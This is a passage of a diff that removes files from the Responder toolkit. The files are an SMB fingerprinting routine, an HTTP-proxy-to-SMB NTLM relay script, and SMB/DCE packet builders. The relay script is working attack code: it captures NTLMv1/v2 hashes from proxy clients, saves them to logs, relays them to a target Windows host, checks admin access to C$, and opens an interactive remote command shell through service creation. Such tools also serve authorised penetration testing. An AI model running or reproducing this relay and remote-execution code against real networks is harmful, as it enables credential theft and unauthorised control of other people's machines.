-       buffer0 = longueur(packet0)+packet0
-       s.send(buffer0)
-       data = s.recv(2048)
-       if data[8:10] == "\x72\x00":
-          return GetHostnameAndDomainName(data)
-    except:
-       pass 
-
-def SmbFinger(Host):
-    s = socket(AF_INET, SOCK_STREAM)
-    try:
-       s.settimeout(Timeout)
-       s.connect(Host)
-    except:
-       print "Host down or port close, skipping"
-       pass
-    try:     
-       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
-       n = SMBNego(Data = SMBNegoData())
-       n.calculate()
-       packet0 = str(h)+str(n)
-       buffer0 = longueur(packet0)+packet0
-       s.send(buffer0)
-       data = s.recv(2048)
-       if data[8:10] == "\x72\x00":
-          head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
-          t = SMBSessionFingerData()
-          t.calculate() 
-          packet0 = str(head)+str(t)
-          buffer1 = longueur(packet0)+packet0  
-          s.send(buffer1) 
-          data = s.recv(2048)
-       if data[8:10] == "\x73\x16":
-          return OsNameClientVersion(data)
-    except:
-       pass
-##################
-#run it
-def ShowResults(Host):
-    s = socket(AF_INET, SOCK_STREAM)
-    try:
-       s.settimeout(Timeout)
-       s.connect(Host)
-    except:
-       raise
-       return False
-
-    try:
-       print "Retrieving information for %s..."%Host[0]
-       OsVer, LanManClient = SmbFinger(Host)
-       print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
-       Hostname, DomainJoined = DomainGrab(Host)
-       print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
-    except:
-       pass
-
-def RunFinger(Host):
-    m = re.search("/", str(Host))
-    if m :
-       net,_,mask = Host.partition('/')
-       mask = int(mask)
-       net = atod(net)
-       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
-           ShowResults((host,445))
-    else:
-       ShowResults((Host,445))   
-

tools/RelayHTTPSMB/HTTPToSMBRelay.py

@@ -1,386 +0,0 @@
-#!/usr/bin/env python
-# This file is part of Responder, a network take-over set of tools 
-# created and maintained by Laurent Gaffie.
-# email: laurent.gaffie@gmail.com
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import sys, re, os, logging, warnings, thread, optparse, time
-from HTTPRelayPacket import *
-from Finger import RunFinger
-sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../../')))
-from socket import *
-
-__version__ = "0.4"
-
-def UserCallBack(op, value, dmy, parser):
-    args=[]
-    for arg in parser.rargs:
-        if arg[0] != "-":
-            args.append(arg)
-    if getattr(parser.values, op.dest):
-        args.extend(getattr(parser.values, op.dest))
-    setattr(parser.values, op.dest, args)
-
-parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
-parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
-
-parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
-
-options, args = parser.parse_args()
-
-if options.TARGET is None:
-    print "\n-t Mandatory option is missing, please provide a target.\n"
-    parser.print_help()
-    exit(-1)
-if options.UserToRelay is None:
-    print "\n-u Mandatory option is missing, please provide a username to relay.\n"
-    parser.print_help()
-    exit(-1)
-
-UserToRelay = options.UserToRelay
-Host = options.TARGET, 445
-Cmd = ""
-
-def ShowWelcome():
-    print '\n\033[1;34mResponder Proxy Auth to SMB NTLMv1/2 Relay 0.2\nSupporting NTLMv1 and NTLMv2.'
-    print 'Send bugs/hugs/comments to: laurent.gaffie@gmail.com'
-    print 'Usernames to relay (-u) are case sensitive.'
-    print 'To kill this script hit CRTL-C.\033[1;31m\n'
-    print 'Use this script in combination with Responder.py for best results.'
-    print 'Do not to use Responder.py with -P set. This tool does the same'
-    print 'than -P but with cross-protocol NTLM relay. Always target a box ' 
-    print 'joined to the target domain,not the PDC as SMB signing is enabled '
-    print 'by default. For optimal pwnage and stealthiness, launch Responder '
-    print 'with these 2 options only: -rv \033[0m'
-    print '\n\033[1;34mRelaying credentials only for these users:\033[32m'
-    print UserToRelay
-    print '\033[0m\n'
-
-ShowWelcome()
-Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../../"
-
-Logs = logging
-Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
-
-try:
-    RunFinger(Host[0])
-except:
-    print "The host %s seems to be down or port 445 down."%(Host[0])
-    sys.exit(1)
-
-
-# Function used to write captured hashs to a file.
-def WriteData(outfile, data, user):
-	if not os.path.isfile(outfile):
-		with open(outfile,"w") as outf:
-			outf.write(data + '\n')
-		return
-	with open(outfile,"r") as filestr:
-		if re.search(user.encode('hex'), filestr.read().encode('hex')):
-			return False
-		elif re.search(re.escape("$"), user):
-			return False
-	with open(outfile,"a") as outf2:
-		outf2.write(data + '\n')
-
-#Function used to verify if a previous auth attempt was made.
-def ReadData(Outfile, Client, User, Domain, Target, cmd):
-    try:
-        with open(Logs_Path+"logs/"+Outfile,"r") as filestr:
-            Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure"
-            if re.search(Login.encode('hex'), filestr.read().encode('hex')):
-                print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)
-                return True
-
-            else:
-                return False
-    except:
-        raise
-
-def ParseHTTPHash(data, key, client):
-	LMhashLen    = struct.unpack('<H',data[12:14])[0]
-	LMhashOffset = struct.unpack('<H',data[16:18])[0]
-	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
-	
-	NthashLen    = struct.unpack('<H',data[20:22])[0]
-	NthashOffset = struct.unpack('<H',data[24:26])[0]
-	NTHash       = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
-	
-	UserLen      = struct.unpack('<H',data[36:38])[0]
-	UserOffset   = struct.unpack('<H',data[40:42])[0]
-	User         = data[UserOffset:UserOffset+UserLen].replace('\x00','')
-
-	if NthashLen == 24:
-		HostNameLen     = struct.unpack('<H',data[46:48])[0]
-		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
-		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, key.encode("hex"))
-		WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
-                print "[+] Received NTLMv1 hash from: %s"%(client)
-                if User in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
-                        if ReadData("SMBRelay-Session.txt", client, User, HostName, Host[0], cmd=None):
-                           return None, None
-                        else:
-                	   return User, HostName
-                else:
-                        print "[+] Username: %s not in target list, dropping connection."%(User)
-                	return None, None
-
-	if NthashLen > 24:
-		NthashLen      = 64
-		DomainLen      = struct.unpack('<H',data[28:30])[0]
-		DomainOffset   = struct.unpack('<H',data[32:34])[0]
-		Domain         = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
-		HostNameLen    = struct.unpack('<H',data[44:46])[0]
-		HostNameOffset = struct.unpack('<H',data[48:50])[0]
-		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
-		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, key.encode("hex"), NTHash[:32], NTHash[32:])
-		WriteData(Logs_Path+"logs/SMB-Relay-"+client+".txt", WriteHash, User)
-                print "[+] Received NTLMv2 hash from: %s"%(client)
-                if User in UserToRelay or "ALL" in UserToRelay:
-                        print "[+] Username: %s is whitelisted, fowarding credentials."%(User)
-                        if ReadData("SMBRelay-Session.txt", client, User, Domain, Host[0], cmd=None):
-                           return None, None
-                        else:
-                	   return User, Domain
-                else:
-                        print "[+] Username: %s not in target list, dropping connection."%(User)
-                	return None, None
-
-def longueur(payload):
-	return struct.pack(">i", len(''.join(payload)))
-
-def ExtractChallenge(data):
-    SecBlobLen = struct.unpack("<h", data[43:45])[0]
-    if SecBlobLen < 255:
-       Challenge = data[102:110]
-    if SecBlobLen > 255:
-       Challenge = data[106:114]
-    print "[+] Setting up HTTP Proxy with SMB challenge:", Challenge.encode("hex")
-    return Challenge
-
-def ExtractRawNTLMPacket(data):
-    SecBlobLen = struct.unpack("<h", data[43:45])[0]
-    SSP = re.search("NTLMSSP", data[47:]).start()
-    RawNTLM = data[47+SSP:47+SecBlobLen]
-    return RawNTLM
-
-def GetSessionResponseFlags(data):
-    if data[41:43] == "\x01\x00":
-       print "[+] Server returned session positive, but as guest. Psexec should fail even if authentication was successful.."
-
-def get_command():
-    global Cmd
-    Cmd = ""
-    while len(Cmd) is 0:
-       Cmd = raw_input("C:\\Windows\\system32\\:#")
-
-def SMBKeepAlive(s, data, NextEcho = 20):
-    while True:
-        head = SMBHeader(cmd="\x2b",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBEcho()
-        packet1 = str(head)+str(t)
-        buffer1 = longueur(packet1)+packet1  
-        s.send(buffer1)
-        data = s.recv(2048)
-        time.sleep(NextEcho)
-
-def HTTPProxyRelay():
-    so = socket(AF_INET,SOCK_STREAM)
-    so.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)
-    try:
-        so.bind(('0.0.0.0', 3128))
-        so.listen(10)
-        s = socket(AF_INET, SOCK_STREAM)
-        s.connect(Host)  
-        s.settimeout(30)
-    except:
-        "Cannot bind to port 3128, something else must be using it."
-        sys.exit(1)
-
-    try:
-        while True:
-            conn, addr = so.accept()
-            data = conn.recv(4096)
-            if not data: 
-               break
-            NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
-	    Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
-	    if NTLM_Auth:
-	        Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
-		if Packet_NTLM == "\x01":
-                        ## SMB Block. Relay PROXY NTLM NEGO to target srv.
-                        h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
-                        n = SMBNegoCairo(Data = SMBNegoCairoData())
-                        n.calculate()
-                        packet0 = str(h)+str(n)
-                        buffer0 = longueur(packet0)+packet0
-                        s.send(buffer0)
-                        smbdata = s.recv(2048)
-                        ##Session Setup AndX Request, NTLMSSP_NEGOTIATE
-                        if smbdata[8:10] == "\x72\x00":
-                           head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
-                           t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
-                           t.calculate() 
-                           packet1 = str(head)+str(t)
-                           buffer1 = longueur(packet1)+packet1  
-                           s.send(buffer1)
-                           smbdata = s.recv(2048)
-                        
-                        ## Send HTTP Proxy 
-			Buffer_Ans = WPAD_NTLM_Challenge_Ans()
-			Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
-                        key = ExtractChallenge(data)#Grab challenge key
-			conn.send(str(Buffer_Ans))
-                        data = conn.recv(8092)
-
-                        NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
-                        Packet_NTLM = b64decode(''.join(NTLM_Proxy_Auth))[8:9]
-
-		        if Packet_NTLM == "\x03":
-			   NTLM_Auth = b64decode(''.join(NTLM_Proxy_Auth))
-                           Username, Domain = ParseHTTPHash(NTLM_Auth, key, addr[0])
-
-                           if Username is not None:
-                              ##Got the ntlm message 3, send it over to SMB.
-                              head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
-                              t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
-                              t.calculate()
-                              packet1 = str(head)+str(t)
-                              buffer1 = longueur(packet1)+packet1  
-                              print "[+] SMB Session Auth sent."
-                              s.send(buffer1)
-                              smbdata = s.recv(2048)
-   	                      return smbdata, s, addr[0], Username, Domain
-                           else:
-                              return None
-	    else:
-                Response = WPAD_Auth_407_Ans()
-	        conn.send(str(Response))
-                data = conn.recv(4096)
-
-    except:
-        return None
- 
-
-def RunPsExec(Host):
-
-    GetCredentials = HTTPProxyRelay()
-
-    if GetCredentials  == None:
-        return False
-
-    data, s, clientIP, Username, Domain = GetCredentials
-
-    if data[8:10] == "\x73\x6d":
-        print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
-        return False
-    if data[8:10] == "\x73\x8d":
-        print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
-        return False
-
-    ## First, check if user has admin privs on C$:    
-    ## Tree Connect
-    if data[8:10] == "\x73\x00":
-        GetSessionResponseFlags(data)#Verify if the target returned a guest session.
-        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
-        t.calculate() 
-        packet1 = str(head)+str(t)
-        buffer1 = longueur(packet1)+packet1  
-        s.send(buffer1)
-        data = s.recv(2048)
-
-    ## Fail Handling.
-    if data[8:10] == "\x75\x22":
-        print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
-        Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
-        return False
-        return False
-
-    ## Fail Handling.
-    if data[8:10] == "\x75\xcc":
-        print "[+] Tree Connect AndX denied. Bad Network Name returned."
-        return False
-
-    ## Tree Connect
-    if data[8:10] == "\x75\x00":
-        print "[+] Looks good, "+Username+" has admin rights on C$."
-        head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-        t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
-        t.calculate() 
-        packet1 = str(head)+str(t)
-        buffer1 = longueur(packet1)+packet1  
-        s.send(buffer1)
-        data = s.recv(2048)
-
-    ## Go to NtCreateAndx
-    if data[8:10] == "\x75\x00":
-        print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
-
-    while True:
-        if data[8:10] == "\x75\x00":
-            #thread.start_new_thread(SMBKeepAlive, (s,data, 15)) #keep it alive every 15 secs.
-            thread.start_new_thread(get_command, ())
-            while Cmd == "":
-                pass
-
-            if Cmd == "exit":
-               sys.exit(1)
-
-            data = RunCmd(data, s, clientIP, Username, Domain, Cmd, Logs, Host)
-
-        if data is None:
-           print "\033[1;31m\nSomething went wrong, the server dropped the connection. Make sure to clean the server (\\Windows\\Temp\\)\033[0m\n"
-
-        if data[8:10] == "\x2d\x34":#Confirmed with OpenAndX that no file remains.
-            head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
-            t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
-            t.calculate() 
-            packet1 = str(head)+str(t)
-            buffer1 = longueur(packet1)+packet1  
-            s.send(buffer1)
-            data = s.recv(2048)
-            Cmd2 = raw_input("C:\\Windows\\system32\\:#")
-
-            while len(Cmd2) is 0:
-                Cmd2 = raw_input("C:\\Windows\\system32\\:#")
-
-            if Cmd2 == "exit":
-               sys.exit(1)
-
-            data = RunCmd(data, s, clientIP, Username, Domain, Cmd2, Logs, Host)
-
-    if data[8:10] == "\x2d\x00":
-       print "[*] File still exist (Windows\\Temp\\Results.txt), server's not playing nicely."
-
-
-def main():
-    try:
-        num_thrd = 1
-        while num_thrd > 0:
-            RunPsExec(Host)
-            time.sleep(1)
-    except KeyboardInterrupt:
-        exit()
-
-if __name__ == '__main__':
-    try:
-        main()
-    except:
-        raise
-
-

tools/RelayPackets.py

@@ -1,343 +0,0 @@
-#!/usr/bin/env python
-# This file is part of Responder, a network take-over set of tools 
-# created and maintained by Laurent Gaffie.
-# email: laurent.gaffie@gmail.com
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-import sys
-sys.path.append('../')
-from odict import OrderedDict
-from packets import Packet
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("errorcode", "\x00\x00\x00\x00"),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNego(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x00"),
-        ("Bcc", "\x62\x00"),
-        ("Data", "")
-    ])
-    
-    def calculate(self):
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("Separator1","\x02" ),
-        ("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("Separator2","\x02"),
-        ("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-        ("Separator3","\x02"),
-        ("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
-        ("Separator4","\x02"),
-        ("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
-        ("Separator5","\x02"),
-        ("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
-        ("Separator6","\x02"),
-        ("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
-    ])
-
-class SMBSessionTreeData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",   "\x0d"),
-        ("AndXCommand", "\x75"),
-        ("Reserved",    "\x00" ),
-        ("Andxoffset", "\x7c\x00"),
-        ("Maxbuff","\x04\x11"),
-        ("Maxmpx", "\x32\x00"),
-        ("Vcnum","\x00\x00"),
-        ("Sessionkey", "\x00\x00\x00\x00"),
-        ("AnsiPassLength","\x18\x00"),
-        ("UnicodePassLength", "\x00\x00"),
-        ("Reserved2","\x00\x00\x00\x00"),
-        ("Capabilities", "\xd4\x00\x00\x00"),
-        ("Bcc","\x3f\x00"),   
-        ("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
-        ("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
-        ("Username","Administrator"),
-        ("UsernameTerminator","\x00\x00"),
-        ("Domain","SMB"),
-        ("DomainTerminator","\x00\x00"),
-        ("Nativeos",""),
-        ("NativeosTerminator","\x00\x00"),
-        ("Lanmanager",""),
-        ("LanmanagerTerminator","\x00\x00\x00"),
-        ("Wordcount2","\x04"),
-        ("Andxcmd2","\xff"),
-        ("Reserved3","\x00"),
-        ("Andxoffset2","\x06\x01"),
-        ("Flags","\x08\x00"),
-        ("PasswordLength","\x01\x00"),
-        ("Bcc2","\x19\x00"),
-        ("Passwd","\x00"),
-        ("PrePath","\\\\"),
-        ("Targ", "CSCDSFCS"),
-        ("IPC", "\\IPC$"),
-        ("TerminatorPath","\x00\x00"),
-        ("Service","?????"),
-        ("TerminatorService","\x00"),
-    ])
-    def calculate(self):
-        ##Convert first
-        self.fields["Username"] = self.fields["Username"].encode('utf-16be')
-        self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
-        self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
-        self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
-        self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
-        self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
-        self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
-        ##Then calculate
-        data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
-
-        data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
-
-        self.fields["Bcc"] = struct.pack("<h",len(data1))
-        self.fields["Bcc2"] = struct.pack("<h",len(data2))
-        self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
-        self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
-        self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
-        self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
-
-class SMBNTCreateData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x18"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("Reserved2",     "\x00"),
-        ("FileNameLen",   "\x07\x00"),
-        ("CreateFlags",   "\x16\x00\x00\x00"),
-        ("RootFID",       "\x00\x00\x00\x00"),
-        ("AccessMask",    "\x00\x00\x00\x02"),
-        ("AllocSize",     "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("FileAttrib",    "\x00\x00\x00\x00"),
-        ("ShareAccess",   "\x07\x00\x00\x00"),
-        ("Disposition",   "\x01\x00\x00\x00"),   
-        ("CreateOptions", "\x00\x00\x00\x00"),
-        ("Impersonation", "\x02\x00\x00\x00"),
-        ("SecurityFlags", "\x00"),
-        ("Bcc",           "\x08\x00"),
-        ("FileName",      "\\svcctl"),
-        ("FileNameNull",  "\x00"),
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
-        self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
-        self.fields["Bcc"] = struct.pack("<h",len(Data1))
-
-class SMBReadData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x0a"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("FID",           "\x00\x00"),
-        ("Offset",        "\x19\x03\x00\x00"), 
-        ("MaxCountLow",   "\xed\x01"),
-        ("MinCount",      "\xed\x01"),
-        ("Hidden",        "\xff\xff\xff\xff"),
-        ("Remaining",     "\x00\x00"),  
-        ("Bcc",           "\x00\x00"),
-        ("Data", ""),
-    ])
-
-    def calculate(self):
-
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBWriteData(Packet):
-    fields = OrderedDict([
-        ("Wordcount",     "\x0e"),
-        ("AndXCommand",   "\xff"),
-        ("Reserved",      "\x00" ),
-        ("Andxoffset",    "\x00\x00"),
-        ("FID",           "\x06\x40"),
-        ("Offset",        "\xea\x03\x00\x00"),
-        ("Reserved2",     "\xff\xff\xff\xff"),
-        ("WriteMode",     "\x08\x00"),
-        ("Remaining",     "\xdc\x02"),
-        ("DataLenHi",     "\x00\x00"),
-        ("DataLenLow",    "\xdc\x02"),
-        ("DataOffset",    "\x3f\x00"),
-        ("HiOffset",      "\x00\x00\x00\x00"),   
-        ("Bcc",           "\xdc\x02"),
-        ("Data", ""),
-    ])
-
-    def calculate(self):
-        self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
-        self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
-        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
-
-class SMBDCEData(Packet):
-    fields = OrderedDict([
-        ("Version",       "\x05"),
-        ("VersionLow",    "\x00"),
-        ("PacketType",    "\x0b"),
-        ("PacketFlag",    "\x03"),
-        ("DataRepresent", "\x10\x00\x00\x00"),
-        ("FragLen",       "\x2c\x02"),
-        ("AuthLen",       "\x00\x00"),
-        ("CallID",        "\x00\x00\x00\x00"),
-        ("MaxTransFrag",  "\xd0\x16"),
-        ("MaxRecvFrag",   "\xd0\x16"),
-        ("GroupAssoc",    "\x00\x00\x00\x00"),
-        ("CTXNumber",     "\x01"),
-        ("CTXPadding",    "\x00\x00\x00"),
-        ("CTX0ContextID",  "\x00\x00"),
-        ("CTX0ItemNumber", "\x01\x00"),
-        ("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
-        ("CTX0UIDVersion", "\x02\x00"),
-        ("CTX0UIDVersionlo","\x00\x00"),
-        ("CTX0UIDSyntax",   "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
-        ("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
-
-
-        self.fields["FragLen"] = struct.pack("<h",len(Data1))
-
-class SMBDCEPacketData(Packet):
-    fields = OrderedDict([
-        ("Version",       "\x05"),
-        ("VersionLow",    "\x00"),
-        ("PacketType",    "\x00"),
-        ("PacketFlag",    "\x03"),
-        ("DataRepresent", "\x10\x00\x00\x00"),
-        ("FragLen",       "\x2c\x02"),
-        ("AuthLen",       "\x00\x00"),
-        ("CallID",        "\x00\x00\x00\x00"),
-        ("AllocHint",     "\x38\x00\x00\x00"),
-        ("ContextID",     "\x00\x00"),
-        ("Opnum",         "\x0f\x00"),
-        ("Data",          ""),
-
-    ])
-
-    def calculate(self):
-
-        Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
-
-        self.fields["FragLen"] = struct.pack("<h",len(Data1))
-        self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
-
-class SMBDCESVCCTLOpenManagerW(Packet):
-    fields = OrderedDict([
-        ("MachineNameRefID",     "\xb5\x97\xb9\xbc"),
-        ("MaxCount",             "\x0f\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0f\x00\x00\x00"),
-        ("MachineName",          "\\\\169.220.1.11"),##This is not taken into consideration.
-        ("MachineNameNull",      "\x00\x00\x00\x00"),
-        ("DbPointer",            "\x00\x00\x00\x00"),
-        ("AccessMask",           "\x3f\x00\x0f\x00"),
-    ])
-
-    def calculate(self):
-        ## Convert to UTF-16LE
-        self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
-
-class SMBDCESVCCTLCreateService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x0c\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0c\x00\x00\x00"),
-        ("ServiceName",          "AyAGaxwLhCP"),
-        ("MachineNameNull",      "\x00\x00"),
-        ("ReferentID",           "\x9c\xfa\x9a\xc9"),
-        ("MaxCountRefID",        "\x11\x00\x00\x00"),
-        ("OffsetID",             "\x00\x00\x00\x00"),
-        ("ActualCountRefID",     "\x11\x00\x00\x00"),
-        ("DisplayNameID",        "DhhUFcsvrfJvLwRq"),
